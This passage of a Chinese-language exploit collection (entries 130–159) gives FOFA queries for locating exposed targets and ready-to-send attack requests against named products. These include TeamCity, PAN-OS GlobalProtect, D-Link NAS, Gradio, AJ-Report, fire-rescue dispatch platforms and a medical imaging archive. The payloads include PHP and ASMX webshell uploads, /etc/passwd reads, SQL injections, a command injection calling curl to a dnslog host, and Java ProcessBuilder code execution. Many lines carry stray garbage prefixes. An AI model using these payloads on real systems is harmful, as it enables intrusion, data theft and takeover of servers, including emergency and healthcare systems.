User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
  l" \/ }7 W( g' Q" i! aAccept: */*
( w4 {0 v* x( f4 BAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
( n3 Z* k8 ]8 u) a. o" O

$ p* V8 V9 a3 C- m4 y5 o; T3 c* M130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
. d1 _& O: T3 I1 T3 i8 KPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
+ b0 Y" o2 N/ Y% |* p  o% HX-Requested-With: XMLHttpRequest
2 `: c& t, z8 i; G# rUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
% V4 @2 V; ]2 U8 `, M& W7 tContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
! M  p2 K# a9 e* z8 zAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
( W% C/ `5 m- P
------WebKitFormBoundary3OCVBiwBVsNuB2kR
% G8 }% L, f8 G& mContent-Disposition: form-data; name="file"; filename="1.php"
1 m5 W+ y* b& T5 {Content-Type: image/png

8 b. I) a/ `$ R! w3 _<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

; s. `! H/ Y, C* i. c
+ m5 ~4 y5 e! J131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
; x& `, t) O3 T4 E1 Phttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
; @9 d9 h7 W- I. d
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
( G* n4 [1 J; y9 G$ NFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
8 m7 D. d+ o' w9 s8 fHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
5 Y5 [- i. o% K3 NContent-Type: application/json
' O$ ]- n  M: z# I# pAccept-Encoding: gzip, deflate
4 c* M% V  `" H" `
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
  Y3 z9 t  h4 c: R8 n) |' _
3 ]) H( V: q, g2 |4 M3 T
CVE-2024-27199
/res/../admin/diagnostic.jsp
1 R% I0 C7 ~/ ?/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
% H4 W( g4 \# @% E2 s

CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
8 K/ b5 ~: l0 c, C8 ], t7 K9 SFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
% E5 x) E  L$ h3 L# u2 l2 SHost: your-ip
1 n; b  v7 X) ^: ?% {; MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ W/ U4 ]. D& q. h+ P3 D/ p$ VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
" a* ~! n: r" U1 m9 i3 |% b
+ X$ v0 O6 |, e------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
0 h2 k: C. A) M6 P5 b8 b0 }: {Content-Type: application/octet-stream
  \" b. \! U2 d
  B% d" {' `: Q0 _% k$ Y<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
, r" ~0 T7 q6 L& t: ?6 i4 @# x

: }6 M% I- s3 H
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
2 v0 p" U6 _% ]! u3 k0 r* w+ ANetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
1 h: B8 |9 D; K0 \( w3 WPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
/ [- c/ H% ^% Y" T/ dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 _5 |. p" z' |( h0 XSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
; J& J7 d' y2 z+ wTe: trailers
. q( E( R' t# x5 A7 GConnection: close
% j) Z; V' R2 e/ X3 A7 l% ?9 E# kContent-Type: application/x-www-form-urlencoded
Content-Length: 263
7 S, D) A: \4 a. Y+ y. {
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
# o% P4 {$ G' p8 }2 m8 A9 o( F
. Y+ Z5 z! o' p9 R; ]
9 Q. r' G; O# a, D4 E135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
! L% x. D' b! {/ |6 h' fCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
1 q6 F7 |7 }& {6 aGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
1 s) j/ B& p: R+ _0 |6 V; LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& s  l: f- T1 a& E9 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 F6 r: S9 T# u) \- ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# d$ Z% q7 {( I7 M

136. NextChat cors SSRF
CVE-2023-49785
; ^# {7 q: f" p# \0 LFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
: x& g0 o* x0 h5 r: g+ UAccept-Encoding: gzip

  J. }" s( U- E  j
# _/ \/ A; Y4 x* n( e137. 福建科立迅通信指挥调度平台down_file.php sql注入
% r# }* a- L5 P; wCVE-2024-2620
8 l* {/ V# ^  R  N6 t9 ~# EFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
+ o4 g& X8 w5 H% f- U  h; KGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
: _* h" @$ n8 [, r: k( I% nHost: x.x.x.x
& n; @" {: ~& l2 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. N* t# M& v: |( \: ]# u' OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
! S0 T- t7 _( O4 {9 kCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


% B( {; j6 s/ L+ W138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
$ o7 B$ s+ e" o3 ?FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( \, R. E6 {2 ~( bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& b4 |9 s+ x% W5 B, h9 }& h" @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
. U! v7 n8 S6 HUpgrade-Insecure-Requests: 1


3 R, Y: d! O. H; P, Y5 P6 Q139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
  U8 x; ?! j* s# v, SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 M" E& H1 `4 c5 {: k0 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 v; i4 ?1 l' V1 q; Y. KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
9 n% H; v! {$ b# I8 P% wCVE-2024-2566
8 E% B3 e9 E7 L9 M) {  OFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; c$ E8 q& J; }1 M4 K4 ?& ^* XGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
- _' @- d3 W1 fHost: x.x.x.x
& h4 V' [0 C' q. @) J  G7 p+ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- v8 a1 g  v4 I9 F9 ~. A  gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
; C7 T8 U4 j) y4 q% _Connection: close
4 V1 y$ [, e- |3 h3 _Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
: {* t& D' p; C# j
) t$ q+ e' T4 S- ^. \
4 d: j( b: t( j$ w8 F1 ?( S2 t141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
% x6 C# N5 n# B! KFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
* c6 I: e' x0 q5 mContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
2 v& s2 ~" n' N9 y9 j2 [
144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
2 ^3 E+ x& o- n% |( EHost: x.x.x.x
8 X  m+ @$ |2 E5 ?& H( [User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
& I" F$ l6 Q, c9 C% @Accept: */*
( q6 v6 t8 |: m# I/ JAccept-Language: en
1 o2 ^. R) x) u% uAccept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
" y$ O9 u0 u# n7 h$ c% HFOFA：icon_hash="-631559155"
+ ?% ]1 x+ H' Q! {. }; r5 ]& vGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
$ A8 }4 j# P/ a+ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
8 w4 p; R/ E& [) r6 |5 u4 b4 uConnection: close
6 \8 W8 O9 f# S' ZCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
. w+ M/ `) p9 n8 y6 ZAccept-Encoding: gzip


( x2 _/ z  d5 ^' u146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
; F% o, Z! \! L% {GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
7 X( t1 l; O; \7 Z: B1 P. Z" {* OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
5 U& d7 O+ ~- C9 m; H& EConnection: close
$ X8 v, L  {5 f# c

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
8 X4 P; e2 l; G4 A% g- N) |CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
. c% D: F- F1 k/ f# ]2 N% yHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close


# L9 c! s, I5 z4 ?" W4 O148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

% X6 J: V/ [8 G0 q' ^5 }: V149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

9 @! w: K7 `  P8 W3 |8 Q* F" L3 I8 APOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% F: s# M4 f( W) p$ \; z1 vHost: x.x.x.x
* x/ g. d, j) i. fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+ X5 C; G' |) V" XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
7 C8 [- r8 b  i* u7 S2 |Accept-Language: zh-CN,zh;q=0.9
3 G* [5 X3 V! T5 [; CContent-Type: application/json;charset=UTF-8
. V1 r3 O3 g2 M% E. j6 WConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
4 _' T7 K' H5 {$ X( V$ L. r6 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
7 P$ B) _* a5 t; P* sConnection: close
) f  K! Q: j1 j; \7 o9 lContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 r" y) }. B. M/ x* r) b" C4 _
2 j7 N4 i, V/ p) Y
, |) K: _% \/ T6 [151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
  b+ h5 _$ B  e" a, [% ~GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
% Y/ f$ X/ a# j" F0 o+ LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
% E2 ~& Y, O! `

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
: E: C3 M9 p; W# D5 h  Q, r& TLoadMaster <= 7.2.48.10 (LTS)
: V3 e% r& ^/ ?: ~/ UFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
9 {) }% D6 I# A* I! a0 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
3 L( F# q3 _  ~5 T/ _2 DConnection: close
Accept: */*
( q/ e- i2 N+ s" Y3 ]$ I" f" v1 JAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
. \* W- x' D, H3 V8 F* C& n  BAccept-Encoding: gzip

& C( B! ?( Y8 E9 W$ C8 S+ `7 [. D
% ^; ^$ I5 r! k153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
% V# {5 R. p0 t/ f6 V第一步，请求/config文件获取componets的id
http://x.x.x.x/config

+ d- K; @, H/ `. d9 {8 t5 C6 O- ~/ Z
0 Z! f- F' Y) Z$ x8 z  a! ^第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
8 I9 A0 }9 u& o9 OConnection: close
Content-Length: 115
Content-Type: application/json
9 D/ Y7 b6 J; B) t* e, dAccept-Encoding: gzip
2 E: r& G( f1 D0 j1 _) u- j  ~
3 Z5 |; p/ a' ~" j/ x) a{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
  m0 b& A( ]' z+ k) Z3 A, J
" Z3 g' O- x, _( c- a/ @- b4 V# d! ]
2 R4 e. ~( d" D7 V  u" {第三步访问
2 Y" P2 t# y: f1 Uhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

! b' s( [* I/ F1 N
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
" d- r6 p7 i3 l  JContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# _; }. g- B4 V1 L( FReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
8 i/ Z& S2 a" c8 `Connection: close
8 M/ t2 V0 G% P5 z- u2 O4 M, N' H
/ f0 |+ @2 `  l0 A{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

2 R6 x! k1 H: p  A1 i2 r! s9 u* e! n. U
155. 六零导航页 file.php 任意文件上传
( J& K0 E7 H* |2 M+ oCVE-2024-34982
+ {) S- G' V) R+ e0 Q% |) ?8 U. TFOFA：title=="上网导航 - LyLme Spage"
+ i0 l, w4 I! n  s+ rPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
1 M. S, `1 {( `: yConnection: close
% D; J/ f& ^' N3 S+ K& RContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
1 y2 [' V+ K  O. S6 m2 u$ b2 t( u9 jX-Requested-With: XMLHttpRequest
& P, J- F7 q1 R# p8 G# u
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
: u( i6 V3 }# HContent-Type: image/png
, ~  t  ~9 r, v& g
. X0 S, T. q+ C5 p- a+ I<?php phpinfo();unlink(__FILE__);?>
. i  X( w% m4 [! x: q$ K-----------------------------qttl7vemrsold314zg0f--
0 F3 a1 H3 h1 J, ?- P; v

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
- k6 k$ b# i; b
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
9 V5 I2 u! d" @9 U9 h1 Q·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
& q6 L% x4 c; W
& B7 U' t6 b3 j7 v5 C! m" G6 I
7 Q: \/ R  L  Z# }; c' kPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
0 X) t1 |% ^# S" K( q/ q* _1 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
2 e% J/ b  T: \5 Y4 UAccept-Encoding: gzip


2 ^9 }+ O2 e5 H* Y157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
! W- y2 D: W, \1 D/ rHost: x.x.x.x
' K* z1 B. L+ P8 I* r. [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
, {; G9 \. e7 x# {& [1 T5 o7 gContent-Length: 709
7 n" U; W2 ~4 @  u% |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

5 s' ?; e2 Q: S0 L0 m; ?) c; }, P------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
( s3 P+ C8 }! {* H8 |1 d
nyhelxrutzwhrsvsrafb
; R1 [+ _2 c; @* u& I------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
2 J3 s* v9 {8 XContent-Disposition: form-data; name="form"
3 u! R/ P+ b( ^6 i. v& r* d
$ l9 a7 P2 E0 J# K+ tnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

  M/ u% |$ P; t5 a, Rnull
$ U/ [, C) a- ^  M/ s------WebKitFormBoundary1imovELzPsfzp5dN
  X2 D; _8 u# }/ [! ZContent-Disposition: form-data; name="filetitile"
  h$ p+ W! A% o$ _& o& s! f
4 d+ V/ K; n  h1 Hnull
* f4 D8 V9 O6 E( Y------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
) Y2 z! p* X& i* e* H
null
------WebKitFormBoundary1imovELzPsfzp5dN--
; ?: m8 a3 P  m) G* a2 m

% q3 T7 V8 ^9 {# C2 P# V' G, }* Rhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
- W& W& X8 u& @# W
158. Mura-CMS-processAsyncObject存在SQL注入
1 U9 h5 A4 {: [( `& |9 `CVE-2024-32640
FOFA："Generator: Masa CMS"
8 j/ p, q& w/ r; H; w: t6 `POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
3 T$ F- ?5 j: |1 K& w8 g  n# I
4 `3 w/ y; s8 r. j3 p: x8 Eobject=displayregion&contenthistid=x\'&previewid=1
5 a, S' Q- }! X7 P
5 c) W9 i* K6 I9 U3 X/ Q' ?
7 W: }5 Y. N; M& \159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
4 }; h9 x$ B) y; O: ~9 TFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
5 B" q9 n+ D4 j+ P: rHost: x.x.x.x
$ h# U, O+ F2 l0 f% jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
3 [/ u" x% p, G0 c) `Content-Length: 1080
Accept-Encoding: gzip, deflate
2 E& O! V  F' P1 VConnection: close
* @! F5 i: }# H* H; z/ xContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
" b" `% O1 x& Z- N6 j( u* Z' J
* [+ P. k& ?) c0 v4 W' Q<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+ I! o; u* R2 o" E! f0 d<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
' j; |; |# e8 h3 I4 n<fileName>abcrce.asmx</fileName>
$ N5 w3 g$ _5 v<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
